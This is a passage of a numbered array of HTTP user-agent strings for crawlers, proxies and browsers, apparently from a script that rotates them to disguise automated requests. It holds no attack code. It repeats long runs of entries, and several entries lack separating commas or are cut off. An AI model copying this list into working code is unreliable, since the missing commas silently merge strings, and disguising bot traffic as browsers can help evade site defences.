  2528. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  2529. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  2530. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  2531. "TheSuBot/0.2 (www.thesubot.de)",
  2532. "TheSuBot/0.1 (www.thesubot.de)",
  2533. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2534. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  2535. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2536. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  2537. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  2538. "FAST-WebCrawler/3.x Multimedia",
  2539. "Mozilla/4.0 (compatible: FDSE robot)",
  2540. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2541. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2542. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2543. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2544. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2545. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  2546. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  2547. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  2548. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  2549. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  2550. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  2551. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  2552. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  2553. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2554. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2555. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2556. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  2557. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  2558. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  2559. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  2560. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  2561. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  2562. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  2563. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  2564. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  2565. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  2566. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  2567. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  2568. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  2569. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  2570. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  2571. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  2572. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  2573. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  2574. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  2575. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0",
  2576. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  2577. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  2578. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  2579. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  2580. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  2581. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  2582. "Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)",
  2583. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  2584. "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  2585. "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  2586. "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  2587. "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  2588. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  2589. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  2590. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  2591. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  2592. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  2593. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  2594. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  2595. "Opera/9.20 (Windows NT 6.0; U; en)",
  2596. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  2597. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  2598. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  2599. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  2600. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  2601. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  2602. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  2603. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  2604. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2605. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  2606. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  2607. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  2608. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  2609. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  2610. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  2611. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  2612. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  2613. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  2614. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  2615. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2616. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  2617. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  2618. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2619. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2620. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2621. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2622. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2623. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2624. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2625. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2626. "wii libnup/1.0",
  2627. "PSP (PlayStation Portable); 2.00",
  2628. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2629. "Doris/1.15 [en] (Symbian)",
  2630. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2631. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2632. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2633. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2634. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2635. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2636. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2637. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2638. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2639. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2640. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2641. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2642. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2643. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2644. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2645. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2646. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2647. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2648. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  2649. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  2650. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  2651. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  2652. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  2653. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  2654. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  2655. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2656. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2657. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2658. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2659. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2660. "Opera/6.04 (Windows XP; U) [en]",
  2661. "Opera/9.99 (X11; U; sk)",
  2662. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2663. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2664. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2665. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2666. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2667. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2668. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2669. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2670. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2671. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2672. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2673. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2674. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2675. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2676. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2677. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2678. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2679. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2680. "wii libnup/1.0",
  2681. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2682. "PSP (PlayStation Portable); 2.00",
  2683. "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
  2684. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2685. "LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
  2686. "Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
  2687. "Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
  2688. "Doris/1.15 [en] (Symbian)",
  2689. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2690. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2691. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2692. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2693. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2694. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2695. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2696. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2697. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2698. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2699. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2700. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2701. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2702. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2703. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2704. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2705. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2706. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2707. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  2708. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  2709. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  2710. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  2711. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  2712. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  2713. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  2714. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  2715. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2716. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  2717. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  2718. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  2719. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  2720. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  2721. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  2722. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  2723. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  2724. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2725. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2726. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2727. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2728. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  2729. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2730. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  2731. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2732. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  2733. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  2734. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  2735. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2736. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  2737. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2738. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  2739. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2740. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  2741. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  2742. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  2743. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  2744. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  2745. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2746. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  2747. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  2748. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  2749. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  2750. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  2751. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  2752. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  2753. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  2754. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2755. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2756. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2757. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2758. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2759. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2760. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2761. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2762. "Opera/6.04 (Windows XP; U) [en]",
  2763. "Opera/9.99 (X11; U; sk)",
  2764. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2765. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2766. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2767. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2768. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2769. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2770. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2771. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  2772. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2773. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  2774. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2775. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  2776. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  2777. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  2778. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2779. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  2780. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2781. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
